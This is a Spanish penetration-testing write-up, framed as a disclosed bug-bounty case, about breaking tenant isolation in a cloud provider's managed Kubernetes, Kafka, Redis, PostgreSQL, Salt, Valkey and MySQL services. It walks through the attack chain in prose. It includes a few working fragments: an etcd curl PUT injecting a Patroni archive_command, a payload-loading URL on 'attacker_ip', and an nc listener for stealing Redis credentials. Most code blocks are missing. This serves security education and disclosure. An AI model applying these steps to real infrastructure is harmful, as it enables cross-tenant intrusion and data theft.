Vecino peligroso: cómo una cadena de vulnerabilidades permitió romper el aislamiento en una infraestructura en la nube

Este artículo se publica exclusivamente con fines educativos, para aumentar la concientización de los especialistas en seguridad de la información. La investigación se realizó en el marco de un programa oficial de bug bounty en una plataforma de gran escala. Se informó de las vulnerabilidades al proveedor del recurso en la nube, conforme a la política de divulgación responsable, y todas las deficiencias de seguridad detectadas se corrigieron por completo. La infraestructura que se analiza en el material está anonimizada, de modo que no permite identificar a una organización específica. Estamos convencidos de que las pruebas de penetración periódicas, los programas de bug bounty y el diálogo entre desarrolladores e investigadores independientes son la base de la seguridad de cualquier producto de TI.

Introducción

Muchos especialistas consideran que las vulneraciones de seguridad a los datos en la nube se deben, en la mayoría de los casos, a errores de los clientes: almacenamientos mal configurados o, por ejemplo, puertos abiertos. Sin embargo, nuestra prueba de penetración de la infraestructura de un gran proveedor de servicios en la nube demostró que las amenazas críticas pueden originarse en la propia infraestructura del proveedor.

Este análisis se basa en un caso real que obtuvo el segundo lugar en la categoría “Hackeo de sistema” (Web & Logic) en el Russian Pentest Award 2026. En este artículo se examina la explotación sucesiva de una serie de vulnerabilidades y errores de lógica. En conjunto, condujeron a consecuencias críticas para el negocio y a la evasión total del aislamiento entre clientes dentro de la nube. El 22 de octubre de 2026 también presenté un análisis técnico de este caso en la conferencia Security Analyst Summit (SAS 2026), en la ponencia “Smash the Tenant Boundary”.

1. Acceso inicial a través de un servicio gestionado de Kubernetes

La prueba de penetración en la infraestructura de nube se realizó para analizar el modelo de amenazas de un atacante externo con los privilegios de un cliente común. El objetivo del ataque era tomar el control total de la nube.

1.1. Escape del worker node

En la primera etapa se creó un recurso en un clúster gestionado de Kubernetes v1.25.16+k0s.0 en la nube. Por lo general, el proveedor no tiene la intención de otorgar a los clientes acceso SSH a los worker nodes (nodos de trabajo), pues los usuarios no contratan un servicio de administración de servidores. Sin embargo, en este caso las políticas de seguridad del clúster no prohibían la creación de pods privilegiados con acceso a los namespaces del host. Esto permitió desplegar un pod de este tipo y cambiar el contexto de ejecución a la máquina host donde se ejecuta el contenedor.

Tras crear el pod privilegiado, dentro del contenedor se ejecutó el comando nsenter, que permitió trasladar el contexto de ejecución a la máquina host:

Después de ejecutar este comando, el intérprete bash se inició en la máquina host real y no dentro del contenedor. Dado que el pod era privilegiado, obtuvimos acceso root completo a la máquina host.

A continuación, se analizó su sistema de archivos. Durante el estudio del data plane se detectó un token del servicio konnectivity. Este componente ofrece la conexión de túnel entre el control plane y el data plane del clúster de Kubernetes. De esta manera, se abrieron posibilidades interesantes para desarrollar el ataque.

1.2. Análisis de los servicios en el control plane

Tras obtener acceso a la máquina host (el mismo worker node mencionado), analizamos sus interfaces de red (la VPC del usuario y las interfaces de Calico). Del archivo de configuración de kubelet se extrajo la dirección del kube-apiserver (192.168.0.4). Al escanear esta dirección, se revelaron los siguientes puertos abiertos:

El puerto 8132 resulta muy interesante, ya que es en el que funciona el servicio Konnectivity. Este servicio crea un túnel inverso entre el control plane y el data plane (para que haya visibilidad desde el control plane hacia el data plane) y permite que los componentes de gestión interactúen con los worker nodes incluso detrás de NAT. El token konnectivity que se había detectado era el que otorgaba el derecho a interactuar con este servicio.

1.3. Explotación de Konnectivity

Para analizar el servicio en el puerto 8132, desplegamos un entorno de pruebas local. Se determinó que en la versión v1.25.16+k0s.0 se utiliza un fork konnectivty-server, heredado del apiserver-network-proxy del Kubernetes original.

Una breve introducción a k0s: es una distribución minimalista de Kubernetes, destinada a los proveedores de nube, que facilita el despliegue de clústeres gestionados (Managed k8s) con un consumo mínimo de recursos. Una característica importante de k0s es que, de forma predeterminada, en los master nodes (nodos de gestión) está prohibida la ejecución de pods de usuario, lo que satisface los requisitos de seguridad de mk8s en cuanto al aislamiento del plano de control.

En el puerto 8132 se encuentra el servicio AgentService, que ofrece un único método: Connect. Este mismo método recibe un flujo de paquetes Packet.

En el código se detectó un detalle curioso: cuando AgentService recibe del worker node un paquete del tipo DIAL_REQ, el servidor ejecuta la función net.Dial() del lado del control-plane. La estructura de los paquetes para el método Connect es la siguiente:

El servidor lee cualquier paquete Packet del stream que inició el agente (worker node):

Luego, los paquetes Packet llegan al dispatcher del backend:

Después, ocurre lo más interesante:

Es decir, el DIAL_REQ proveniente del agente (worker node) se considera válido y se pasa al handler de paquetes del tipo correspondiente (DIAL_REQ).

Esto proporcionó una primitiva de SSRF en el contexto del control plane, que da la posibilidad de acceder no solo a recursos de red, sino también a sockets UNIX del host. Se eligió D-Bus como una vía prometedora de interacción (/run/dbus/system_bus_socket). Con ayuda de la utilidad busctl en el control plane se detectaron los siguientes servicios disponibles:

Mediante el método org.freedesktop.DBus.GetConnectionCredentials (tras escribir nuestro propio cliente de D-Bus basado en github.com/godbus/dbus/v5) se logró obtener el UID del proceso actual. En este caso era el 997. Por desgracia, no era root, por lo que no se podía iniciar de inmediato un servicio de sistema en systemd. No obstante, aún se puede crear un servicio de usuario (system –user). Para ello, primero hay que habilitar el linger para nuestro UID:

Después de esto se abrieron los siguientes sockets:

A través del nuevo socket accedemos al método StartTransientUnit del servicio org.freedesktop.systemd1.Manager:

En el parámetro properties se pasan las directivas estándar de descripción de servicios de systemd. Escribimos en él la siguiente línea:

La empresa Mirantis, desarrolladora del proyecto k0s, confirmó la existencia de la vulnerabilidad.

1.4. Escalada de privilegios en el host

Dado que, de forma predeterminada, el componente konnectivity-server funciona con privilegios limitados, tras lograr la ejecución remota de código (RCE) en el control plane, se procedió a escalar los privilegios. El análisis de los procesos en el master node reveló un salt-minion en ejecución. Contar con privilegios de root permite autenticarse en el salt-minion en nombre de dicho minion y continuar el ataque a partir de ese acceso (volveremos a esto más adelante).

En mi caso, el host objetivo funcionaba con la distribución Ubuntu 22.04 con la versión 5.15.x del núcleo. Como los namespaces de usuario (user namespaces) estaban habilitados, se aprovechó un error conocido en OverlayFS para escalar privilegios, lo que permite conservar la capacidad cap_setuid+eip en un archivo tras manipular los namespaces.

Para explotar la vulnerabilidad, se creó una copia del intérprete python3 con la capacidad setuid habilitada, lo que permitió obtener privilegios de root.

Tras obtener privilegios de root se abrieron varios vectores interesantes:

1. En el host se detectó la interfaz eth2 en la subred 100.64.0.0/10. Resultó que la red overlay de la nube es plana, lo que permite tener visibilidad de todos los servicios gestionados.
2. En el sistema se almacenaba un par de claves del salt-minion. Esto amplía de forma significativa la superficie de ataque, pues abre el acceso al control plane de la propia nube gestionada a través de SaltStack.

2. Aventuras en la red overlay

2.1. La pila Victoria

El estudio de la actividad de red dentro del recurso gestionado dio de inmediato resultados interesantes. El análisis del tráfico mostró que desde una determinada dirección IP llegaban solicitudes de recolección de métricas del nodo (accesos a nuestra instancia de kube-state-metrics en mk8s). Resultó que esa dirección IP correspondía a un recolector de métricas, una de las instancias de VictoriaMetrics, que da servicio a numerosos recursos gestionados. De forma análoga a Prometheus, la API de VictoriaMetrics expone la lista de targets de los que se recopilan métricas.

Al acceder al endpoint http://100.64.13.37:8429/api/v1/targets, descubrimos que las labels de cada target contienen metadatos valiosos:

Conviene destacar este hecho: a través de VictoriaMetrics, es posible obtener en una sola solicitud la lista completa de hosts del control plane pertenecientes a otros usuarios de la nube. El puerto 6897 indica el funcionamiento del exporter kube-state-metrics, y el campo profile: kubernetes confirma además el tipo de target en esa dirección.

En esa misma red se detectó otro host del ecosistema Victoria: VictoriaLogs. La interfaz web de este servicio en el puerto 9428 también tiene endpoints de API que permiten extraer datos sensibles. Por ejemplo, el endpoint /select/logsql/query permitía leer, sin autorización, absolutamente todos los logs de cualquier recurso gestionado en la nube.

Al analizar los logs del control plane para Managed k8s se descubrió un detalle crítico: en los scripts de cloud-init, de forma predeterminada, se generaban claves SSH privadas para la cuenta root. Dichas claves se mostraban en stdout y se guardaban de forma automática en los registros generales del sistema.

La correlación de algunos valores de las labels de VictoriaMetrics ayudó a reconstruir los nombres originales del host objetivo. Esto simplifica el filtrado de datos en VictoriaLogs y permite vincular de forma inequívoca la clave privada comprometida con el nodo objetivo en el que se puede usar esa clave.

Haciendo uso de la clave privada comprometida de una cuenta privilegiada, podíamos conectarnos por SSH a los nodos objetivo y obtener el control total sobre clústeres ajenos.

Es probable que en los logs de servicios de otro tipo se puedan detectar otros datos sensibles para aumentar aún más el impacto.

2.2. Compromiso de las instancias gestionadas de Kafka

Se investigó la posibilidad de desplegar recursos gestionados de Apache Kafka. Tal como se esperaba, estas instancias también se pudieron detectar en la red overlay plana. Así, en uno de los hosts con Kafka estaba abierto el puerto 9999, que resultó ser nada menos que un JMX Registry.

El mecanismo de JMX Registry presenta una vulnerabilidad debido a sus características: devuelve al cliente que lo invoca un stub RMI con la dirección del host, lo que permite cargar de forma remota una clase MBean arbitraria propia y ejecutar código arbitrario. Al lanzar un escaneo con la utilidad nmap -sC sobre el puerto del registry, determinamos el puerto exacto del servicio RMI con el que interactuaríamos después. Para llevar a cabo el ataque se preparó un conjunto de scripts de Java con la siguiente estructura:

• JmxCreateMBean.java: se encarga de la conexión al JMX Registry y de la creación del componente MBean javax.management.loading.MLet (una clase que permite cargar clases desde una URL indicada)
• JmxInvoke.java: invoca el método seleccionado del MBean a través del JMX Registry
• ExecMBean.java y Exec.java: un componente MBean de prueba, ligero y personalizado, con el método run(String cmd), que implementa la interfaz de ejecución remota de comandos.
• El fragmento de código encargado de la conexión y la inicialización del componente MBean es el siguiente:

A continuación se presenta la implementación de la clase maliciosa Exec.java, que ofrece métodos para ejecutar comandos de shell, así como para leer y escribir archivos mediante Base64:

Tras compilar nuestro propio MBean, alojamos el archivo .jar generado en un servidor web remoto y preparamos el archivo de configuración mlet.html para su posterior carga por parte del servidor objetivo.

Y, a continuación, reproducimos la siguiente cadena de acciones:

1. Creación del cargador MLet estándar dentro de la JVM de Kafka
2. Carga del MBean malicioso en el servidor objetivo mediante la invocación del método getMBeansFromURL del componente MLet estándar (DefaultDomain:type=MLet). Como argumento se pasa la URL del archivo preparado: http://attacker_ip:8000/mlet.html
3. Invocación del método run(String cmd) del MBean cargado para lograr RCE en el host.

Este vector fue posible porque el host indicado en el stub RMI, que según los estándares de seguridad debería estar enlazado únicamente a la interfaz loopback (127.0.0.1), se expuso por error en la red overlay compartida de la nube.

2.3. Fuga de credenciales a través de redis-exporter

La siguiente etapa fue el análisis de los hosts con instancias gestionadas de Redis. En cada uno de ellos, junto al puerto principal 6379, estaba desplegado el servicio redis-exporter (puerto 9121). El análisis de su código fuente reveló una vulnerabilidad de lógica en el procesamiento del parámetro target:

En esencia, el handler /scrape recibe un parámetro target arbitrario e intenta recolectar métricas usando las mismas credenciales con las que el exporter se conecta a su instancia principal de Redis. Si se dirige la solicitud del redis-exporter hacia un host controlado por el atacante (por ejemplo, con un nc -nvlp 6379 en ejecución), se pueden interceptar las credenciales mediante la siguiente solicitud:

Las credenciales obtenidas permitieron conectarse a las instancias de Redis de otros clientes y realizar operaciones de lectura, modificación o eliminación de los datos almacenados.

(Nota: durante el período de la investigación se publicó una vulnerabilidad que conduce a RCE en Redis, lo que, combinado con el acceso obtenido, permitía comprometer por completo los servicios de otros usuarios).

2.4. Compromiso de los clústeres gestionados de PostgreSQL (Patroni)

Junto con los clústeres gestionados de Kubernetes, el SGBD PostgreSQL es uno de los recursos gestionados más demandados. Por eso, la siguiente etapa en la red overlay fue el análisis de los hosts PostgreSQL. Al escanear los nodos con el puerto de PostgreSQL abierto (5432) se detectaron servicios adyacentes en los puertos 2379 (el almacenamiento distribuido etcd) y 8008 (Patroni rest API). Mientras que la API REST de Patroni requería autenticación, el acceso a etcd resultó estar totalmente abierto. Durante el análisis del contenido de etcd se detectó una clave crítica, /v2/keys/service/pg-cluster/config, que contenía la configuración de Patroni:

El acceso de escritura a este archivo de configuración permite cambiar el parámetro archive_command y sustituirlo por un comando elegido por el atacante, lo que permite la ejecución remota de código en el host objetivo al iniciarse el proceso de archivado. Para no tener que esperar a que el WAL se llene de forma natural, se encontró una forma de forzar el inicio del archivado incluso con el nivel mínimo de acceso:

1. Actualización de la configuración de Patroni con el archive_command modificado:
   
   curl -s -X PUT http://localhost:2379/v2/keys/service/<CLUSTER_NAME>/config -d value="$(jq -c . config.json)" | jq

   1	curl -s -X PUT http://localhost:2379/v2/keys/service/<CLUSTER_NAME>/config -d value="$(jq -c . config.json)" | jq

2. Actualizamos de nuevo la configuración, añadiendo el parámetro standby_cluster:
   
   { "ttl": 30, "loop_wait": 10, "retry_timeout": 10, "maximum_lag_on_failover": 1048576, "postgresql": { "use_pg_rewind": true, "parameters": { "archive_command": "rce", "archive_mode": "on", "archive_timeout": "10", "max_connections": 550, "max_locks_per_transaction": 512, "max_worker_processes": 27 } }, "standby_cluster": { "host": "192.0.2.1", "port": 5432 } }

   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21

   { "ttl": 30, "loop_wait": 10, "retry_timeout": 10, "maximum_lag_on_failover": 1048576, "postgresql": { "use_pg_rewind": true, "parameters": {    "archive_command": "rce",    "archive_mode": "on",    "archive_timeout": "10",    "max_connections": 550,    "max_locks_per_transaction": 512,    "max_worker_processes": 27 } }, "standby_cluster": { "host": "192.0.2.1", "port": 5432 } }

Tras aplicar este parámetro, Patroni detecta un conflicto de roles para el master actual. En los logs aparece un procedimiento similar a este:

A continuación, se inicia el reinicio de Postgres, así como el procedimiento de archivado y la ejecución del comando inyectado:

De este modo, es posible acceder a los SGBD Postgres ajenos y obtener el control total sobre los datos. Como factor de riesgo adicional, en estos hosts se detectaron archivos con credenciales de acceso al almacenamiento S3.

Este almacenamiento contiene copias de seguridad no solo de la instancia actual, sino también de todas las demás bases de datos en la nube.

3. Ataque a la infraestructura de gestión Salt Stack

Tras obtener acceso root al nodo del control plane, la atención se dirigió al servicio de gestión de configuración Salt Stack.

3.1. Análisis del sistema de archivos de Salt

El primer paso fue el volcado completo del sistema de archivos del Salt Master para su posterior análisis estático:

La cantidad de archivos resultó ser muy elevada.

Como la versión de Salt utilizada estaba actualizada, las vulnerabilidades conocidas con identificadores CVE no afectaban a esta versión. Sin embargo, entre los archivos del salt-master se detectó un script personalizado (_pillar/somebase.py) con una vulnerabilidad crítica, escrito por el proveedor para dar servicio a los minions con el servicio somebase. La vulnerabilidad se debía a la construcción insegura de una consulta SQL mediante el método query.format():

Dado que el salt-minion puede iniciar la actualización del pillar y enviar grains (metadatos arbitrarios) al salt-master, el atacante tiene la posibilidad de inyectar código SQL a través del parámetro some_id dentro de los grains. Cuando la extensión del lado del salt-master procesa la solicitud, la consulta SQL se ejecuta en la base de datos prod-cloud. Esta vulnerabilidad permite, por lo tanto, realizar una inyección SQL basada en errores.

3.2 Explotación de la SQLi

A través de esta vulnerabilidad se obtuvo acceso a distintos esquemas de la base de datos, el más interesante de los cuales era cloudsmth, que contenía alrededor de 50 tablas con metadatos sobre todos los recursos gestionados y los VDS.

Más llamativa aún resultó la tabla salt-masters, con los tokens de autenticación de todos los salt-masters.

La existencia de estos tokens permitió acceder a la REST API del Salt Master y ejecutar comandos arbitrarios en todos los minions (nodos) bajo control de la nube:

En acuerdo con el proveedor, se detuvo el avance del ataque, pero, en general, la obtención de acceso a los salt-masters y a la base de datos prod-cloud permitía, en un solo paso, tomar el control total de todos los recursos (incluidos VDS, S3 y otros servicios).

4. Otras formas de atacar la nube

Quisiéramos mencionar otras formas de entrar en la red overlay, pues entre ellas también había casos interesantes.

4.1. Explotación de una vulnerabilidad en Managed Valkey

Al analizar las instancias de Valkey desplegadas en la infraestructura en la nube se determinó que la versión de software utilizada era vulnerable a CVE-2026-25243. En el momento del análisis no existían pruebas de concepto (PoC) ni exploits públicos para esta vulnerabilidad. Para estudiar su funcionamiento, se analizaron los datos de diagnóstico obtenidos con el comando INFO:

El identificador redis_build_id ayudó a determinar con exactitud el archivo binario utilizado, que coincidió con la compilación oficial para Ubuntu Noble x86_64.

La esencia de la vulnerabilidad CVE-2026-25243 radica en el procesamiento incorrecto de objetos RDB serializados por el operador RESTORE. Al usar la codificación obsoleta hash-zipmap, el validador acepta una representación de 5 bytes de la longitud para una clave corta, pero el parser posterior interpreta los bytes internos de la clave como la codificación de la longitud del valor. Esta discrepancia conduce a la posibilidad de desbordar el búfer y sobrescribir bloques adyacentes en el heap (desbordamiento del heap), lo que potencialmente permite lograr una escritura arbitraria en memoria (Arbitrary Write). Tras lograr escribir en zonas de memoria adyacentes, las estrictas reglas del entorno aislado de systemd representaron un obstáculo:

Estos parámetros prohíben la ejecución de intérpretes de comandos estándar (por ejemplo, /bin/sh). No obstante, la configuración de montaje del directorio /tmp permitía la escritura. La modificación de la lógica del proceso permitió iniciar la carga y la ejecución de un componente externo desde /tmp, que no estaba sujeto a la regla noexec. Tras establecer un canal de comunicación estable, se añadió una clave SSH al archivo /var/lib/valkey/.ssh/authorized_keys. Esto garantizó un acceso independiente al host y la posibilidad de una posterior escalada de privilegios por métodos estándar (LPE).

En este caso se aprovechó la vulnerabilidad GRO Frag, pero cada semana aparecen nuevas vulnerabilidades de escalada local de privilegios, por lo que puede haber muchas opciones para escalar privilegios y continuar el ataque al salt master.

4.2. MySQL

Al crear el recurso, el usuario de la base de datos MySQL no tenía privilegios de administrador.

Sin embargo, la lógica de la aplicación permitía a este usuario eliminar y recrear la tabla de privilegios dinámicos:

Tras reiniciar la base de datos y crear un usuario nuevo, este obtenía privilegios completos de administrador de forma automática. Le añadimos aún más privilegios:

Una vez elevados los privilegios en la base de datos, el siguiente paso era lograr la ejecución remota de código. A continuación, se compiló una biblioteca UDF personalizada para ejecutar comandos del sistema.

Para obtener RCE se realizó una inyección CRLF en el archivo de configuración a través de la API del proveedor de nube:

Este vector permitió inyectar saltos de línea y redefinir parámetros críticos de configuración:

Tras haber conseguido privilegios de escritura, la biblioteca UDF maliciosa (Shared Object) se cargó en el directorio objetivo mediante el operador SQL:

Reiniciamos la base de datos MySQL para aplicar la configuración modificada e inicializar el complemento registrado:

Se analizó la lista de servicios activos para la escalada de privilegios hasta el nivel de root. Se determinó que el servicio mysql-watcher.service se ejecuta con privilegios de administrador e inicia de forma periódica un script de Python para acceder a MySQL a través del cliente de sistema. Para explotar este proceso se compiló otro complemento:

La ruta al directorio con la biblioteca maliciosa (archivo .so, parámetro plugin_dir) y el nombre del complemento de autenticación default-auth=plugname se inyectan en la sección [client] del archivo de configuración /etc/mysql/my.cnf. La próxima vez que el cliente MySQL se inicia, el servicio en segundo plano mysql-watcher.service lo hace con privilegios de root en el host donde se ejecuta el servidor, lo que provoca la ejecución del complemento descrito anteriormente. Esto conduce a la ejecución de un comando de sistema y la creación de una copia del intérprete Bash con el bit SUID establecido (/tmp/rbash), lo que completa la cadena de compromiso total del host.

5. Conclusión

La infraestructura del proveedor de servicios en la nube se basaba en desarrollos propios y no en soluciones tradicionales de código abierto, lo que generó una superficie de ataque compleja. En el marco de la investigación también se detectaron otras vulnerabilidades que no se incluyeron en el informe por tratarse de vulnerabilidades habituales. Los resultados del trabajo otorgaron las bases para proporcionar al proveedor recomendaciones orientadas a mejorar la seguridad. Entre ellas, se propusieron medidas para aislar los servicios gestionados y eliminar la visibilidad de red entre ellos, aplicar políticas estrictas de AppArmor que aíslan procesos de los servicios y reforzar la supervisión del uso de servicios que podrían ser vulnerables.